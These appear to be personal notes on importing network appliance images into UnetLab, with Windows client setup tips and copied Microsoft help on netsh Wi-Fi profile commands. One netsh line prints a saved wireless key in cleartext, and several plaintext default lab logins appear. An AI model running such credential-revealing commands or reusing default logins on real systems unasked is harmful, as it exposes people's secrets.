# mkdir -p /opt/unetlab/addons/qemu/sourcefire-6.1.0-330
scp Cisco_Firepower_Management_Center_Virtual-6.1.0-330.qcow2 into /opt/unetlab/addons/qemu/sourcefire-6.1.0-330
# cd /opt/unetlab/addons/qemu/sourcefire-6.1.0-330
# mv Cisco_Firepower_Management_Center_Virtual-6.1.0-330.qcow2 virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install timos
# mkdir -p /opt/unetlab/addons/qemu/timos-12.0.R6
scp TiMOS-SR-12.0.R6-vm.zip into /opt/unetlab/addons/qemu/timos-12.0.R6
# cd /opt/unetlab/addons/qemu/timos-12.0.R6
# mv TiMOS-SR-12.0.R6-vm/vm/7xxx-i386/sros-vm.qcow2 hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install titanium
# mkdir -p /opt/unetlab/addons/qemu/titanium-7
scp hda.qcow2 into /opt/unetlab/addons/qemu/titanium-7
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install coeus
# mkdir -p /opt/unetlab/addons/qemu/coeus-
scp coeus-9-0-0-324-S100V.zip into /opt/unetlab/addons/qemu/coeus-
# cd /opt/unetlab/addons/qemu/coeus-
# unzip coeus-9-0-0-324-S100V.zip
# mv coeus-9-0-0-324-S100V/coeus-9-0-0-324-S100V-disk1.vmdk ..
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 coeus-9-0-0-324-S100V-disk1.vmdk virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
# vi /opt/unetlab/html/templates/coeus.php
$p[‘console’] = ‘telnet’;
$p[‘console’] = ‘vnc’;

-to install vios
# mkdir -p /opt/unetlab/addons/qemu/vios-adventerprisek9-m-15.5
# mkdir -p /opt/unetlab/addons/qemu/viosl2-adventerprisek9-m-15.2
scp vIOS-L3.qcow2 into /opt/unetlab/addons/qemu/vios-adventerprisek9-m-15.5
scp vIOS-L2.qcow2 into /opt/unetlab/addons/qemu/viosl2-adventerprisek9-m-15.2
# cd /opt/unetlab/addons/qemu/vios-adventerprisek9-m-15.5
# mv vIOS-L3.qcow2 hda.qcow2
# cd /opt/unetlab/addons/qemu/viosl2-adventerprisek9-m-15.2
# mv vIOS-L2.qcow2 hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install vmx
# mkdir -p /opt/unetlab/addons/qemu/vmx-1.0
scp vMX.ova into /opt/unetlab/addons/qemu/vmx-1.0
# cd /opt/unetlab/addons/qemu/vmx-1.0
# tar xf vMX.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 vMX-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
NOTE: to speed up vmx
# vi /opt/unetlab/html/templates/vmx.php
$p[‘qemu_options’] = ‘ -serial mon:stdio -nographic’;
$p[‘qemu_options’] = ‘ -serial mon:stdio -nographic -enable-kvm’;

-to install vnam
# mkdir -p /opt/unetlab/addons/qemu/vnam-6.1.1
scp nam-app-x86_64.6-1-1.ova and nam-app-x86_64.6-1-1.iso into /opt/unetlab/addons/qemu/vnam-6.1.1
# cd /opt/unetlab/addons/qemu/vnam-6.1.1
# tar xf nam-app-x86_64.6-1-1.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 NAM-VX-6.1-disk1.vmdk hda.qcow2
# mv nam-app-x86_64.6-1-1.iso cdrom.iso
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

From UnetLab gui, Start vnam icon
Main menu
1 – Download application image and write to HDD
2 – Download application image and reformat HDD
3 – Install application image from CD and reformat HDD
4 – Display software versions
5 – Reset application image CLI passwords to default
6 – Send Ping
f – Check for and fix file system errors on local disk
s – Show upgrade log
n – Configure network
r – Exit and reset Services Engine
h – Exit and shutdown Services Engine
Selection [123456fsnrh]:

I have black screen problem with vnam 6.2.1. So I use 6.1.1 instead
Any idea what to do next after do you see menu above?

-to install vsrx
# mkdir -p /opt/unetlab/addons/qemu/vsrx-12.1X46-D10.2-domestic
scp junos-vsrx-12.1X46-D10.2-domestic.ova into /opt/unetlab/addons/qemu/vsrx-12.1X46-D10.2-domestic
# cd /opt/unetlab/addons/qemu/vsrx-12.1X46-D10.2-domestic
# tar xf junos-vsrx-12.1X46-D10.2-domestic.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 junos-vsrx-12.1X46-D10.2-domestic-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install vsrxng
for vSRX-NG can be downloaded here
# mkdir -p /opt/unetlab/addons/qemu/vsrxng-151x49d406
scp media-vsrx-vmdisk-15.1X49-D40.6.qcow2 into /opt/unetlab/addons/qemu/vsrxng-151x49d406
# cd /opt/unetlab/addons/qemu/vsrxng-151x49d406
# mv media-vsrx-vmdisk-15.1X49-D40.6.qcow2 virtioa.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install vwaas
download vwaas from
# mkdir -p /opt/unetlab/addons/qemu/vwaas-200-5.5.3
scp virtioa.qcow2 into /opt/unetlab/addons/qemu/vwaas-200-5.5.3
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: admin

-to install vwlc
# mkdir -p /opt/unetlab/addons/qemu/vwlc-
scp AIR-CTVM-K9-8-1-102-0.ova and AIR-CTVM-k9-8-1-102-0.iso into /opt/unetlab/addons/qemu/vwlc-
# cd /opt/unetlab/addons/qemu/vwlc-
# tar xf AIR-CTVM-K9-8-1-102-0.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 AS_CTVM_8_1_102_0.vmdk hda.qcow2
# mv AIR-CTVM-k9-8-1-102-0.iso cdrom.iso
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions


-to install tinylinux
SOURCE: http://www.802101.com/2015/06/unetlab-ubuntu-guest-node.html
change dsl-4-4-10.doc to dsl-4-4-10.ova
ssh as root to unetlab server
# mkdir -p /opt/unetlab/addons/qemu/linux-dsl
# cd /opt/unetlab/addons/qemu/linux-dsl
scp dsl-4-4-10.ova into /opt/unetlab/addons/qemu/linux-dsl
# tar xf dsl-4-4-10.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 DSL-4.4.10-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
open UnetLab gui and add linux linux-dsl node
L: root

P: Password123!@#

-to install slitaz
download slitaz from
extract it in your pc
# mkdir -p /opt/unetlab/addons/qemu/linux-slitaz-3.0
scp slitaz-3.0-x86.vdi into /opt/unetlab/addons/qemu/linux-slitaz-3.0
# cd /opt/unetlab/addons/qemu/linux-slitaz-3.0
# qemu-img convert -f vdi -O qcow2 slitaz-3.0-x86.vdi hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: root
P: root

-to install win win7
SOURCE: http://www.802101.com/2015/06/windows-7-host-on-unetlab.html
install WIN7 in ESXi
update all patches
do not install vmware-tools

ssh to ESXi server and cd to WIN7 directory
# cd /vmfs/volumes/datastore1/WIN7
# scp WIN7.vmdk root@
# scp WIN7-flat.vmdk root@

ssh as root to unetlab server
# cd /opt/unetlab/addons/qemu/win-win7
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 WIN7.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
open UnetLab gui and add win win-win7 node

-to install xrv
# mkdir -p /opt/unetlab/addons/qemu/xrv-k9-5.2.2
scp hda.qcow2 into /opt/unetlab/addons/qemu/xrv-k9-5.2.2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install vyos
copy to unetlab
# mkdir -p /opt/unetlab/addons/qemu/vyos-117
# cd /opt/unetlab/addons/qemu/vyos-117
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 VyOS-1.1.7-signed-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: vyos

P: vyos

-to install zeroshell
SOURCE: http://www.802101.com/2015/08/running-zeroshell-in-unetlab.html
Download zeroshell iso from http://www.zeroshell.org/download/#
# mkdir -p /opt/unetlab/addons/qemu/linux-zeroshell
scp ZeroShell-3.3.2.iso into /opt/unetlab/addons/qemu/linux-zeroshell
# cd /opt/unetlab/addons/qemu/linux-zeroshell
# mv ZeroShell-3.3.2.iso cdrom.iso
# /opt/qemu/bin/qemu-img create -f qcow hda.qcow2 5G
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
I then added a new node to a test lab I had on the go, and fired it up. Once connected via VNC, you can then install it to the hard drive, by selecting option A from the menu:
Just accept all the defaults
# mv cdrom.iso ZeroShell-3.3.2.iso
from unetlab gui stop the node and start again

-to upgrade VMware-Tools
mount iso on datastore
click CD-ROM icon on ESXi console
click CD DVD drive 1/Connect to iso image on a datastore
open vmimages/tools-isoimages/linux.iso
# mkdir /mnt/cdrom
# mount /dev/cdrom /mnt/cdrom/
# tar xzvf /mnt/cdrom/VMwareTools-9.10.0-2476743.tar.gz -C /tmp/
# cd /tmp/vmware-tools-distrib
# perl vmware-install.pl
Do you still want to proceed with this legacy installer? [yes]
Uninstallation of previous install failed. Would you like to remove the install DB? [no] yes
# perl vmware-install.pl -d

-Log location
# cat /opt/unetlab/data/Logs/

-download and install UltraVNC from http://www.uvnc.com/downloads/ultravnc.html
-download and install Wireshark from https://www.wireshark.org/download.html
-download and extract http://UNLip/files/windows.zip
copy UNetLab into c:\Program Files
copy ultravnc_wrapper.bat into C:\Program Files\uvnc bvba\UltraVNC
run win7_64bit_ultravnc.reg
run win7_64bit_putty.reg

run win7_64bit_wireshark.reg

-to open multiple tab session in SecureCRT
run win7_64bit_crt.reg
edit C:\Users\username\AppData\Roaming\VanDyke\Config\Global.ini
D:”Single Instance”=00000000

D:”Single Instance”=00000001

-to open multiple tab with SuperPutty
   download and install SuperPutty from https://github.com/jimradford/superputty/releases
   open SuperPutty and tick Tools/Options/Advanced/Only allow single instance of SuperPuTTYy to run
   create SuperPutty.reg
Windows Registry Editor Version 5.00
@=”URL:Telnet Protocol”
“URL Protocol”=””

@=”\”C:\\Program Files (x86)\\SuperPuTTY\\SuperPutty.exe\” %1″

go to and Sign-in with
L: admin
P: unl

-to connect unetlab to the cloud

-to rename a lab file
clone or open existing file
click More Actions/Edit lab

change the Name

-to convert VirtualBox vdi to qcow2 format

# /opt/qemu/bin/qemu-img convert -f vdi -O qcow2 vm.vdi vm.qcow2

-cisco CSR 1000v take 2.5GB RAM per node, if you want less ram, use L3-ADVENTERPRISEK9-M-15.4-2T.bin instead

Manage wireless network profiles


This is important when you use Windows 8.1.

Unlike Windows 7, there is no GUI to change Wireless profile

If you need to change a wireless connection profile, you can usually do it by following these steps:

  1. Swipe in from the right edge of the screen, tap Settings, and then tap Change PC settings.
    (If you’re using a mouse, point to the upper-right corner of the screen, move the mouse pointer down, click Settings, and then click Change PC settings.)
  2. Tap or click Network, tap or click Connections, and then tap or click the connection you want to change.
  3. On the page that appears, make the changes you want.

Some tasks, such as deleting a profile, must be done at the command prompt. To do these tasks, open Command Prompt, and then type the appropriate command from the following table.

  • Open Command Prompt by swiping in from the right edge of the screen, tapping Search (or if you’re using a mouse, pointing to the upper-right corner of the screen, moving the mouse pointer down, and then clicking Search), enteringCommand Prompt in the search box, and then tapping or clicking Command Prompt.

Delete a profile

At the command prompt, type:

netsh wlan delete profile name=”ProfileName”

Show all wireless profiles on the PC

At the command prompt, type:

netsh wlan show profiles

Show a security key

At the command prompt, type:

netsh wlan show profile name=“ProfileName” key=clear

Move a network up in the priority list

Connecting to a new network and choosing Connect automatically will place it at the top of the list.

Stop automatically connecting to a network within range

Tap or click the network in the network list, and then clickDisconnect.

Stop automatically connecting to a network that’s out of range

At the command prompt, type:

netsh wlan set profileparameter name=”ProfileName” connectionmode=manual

How Windows determines connection priority

Windows usually connects to networks in this order:

1. Ethernet

2. Wi‑Fi

3. Mobile broadband

When you connect to a new Wi‑Fi network, it’s added to the list, and Windows will connect to that network while it’s in range. If you connect to another Wi‑Fi network while in range of the first network, Windows will prefer the second network over the first one.

Mobile broadband networks are treated differently. If you manually connect to a mobile broadband network when there is a Wi‑Fi network in range, the mobile broadband network is preferred just for that session. The next time you’re in range of both networks, the Wi‑Fi network is preferred. This is because mobile broadband networks typically are metered.

If you want to force your PC to prefer a mobile broadband network over Wi‑Fi, tap or click the Wi‑Fi network in the list of networks, and then click Disconnect. Windows won’t automatically connect to that Wi‑Fi network.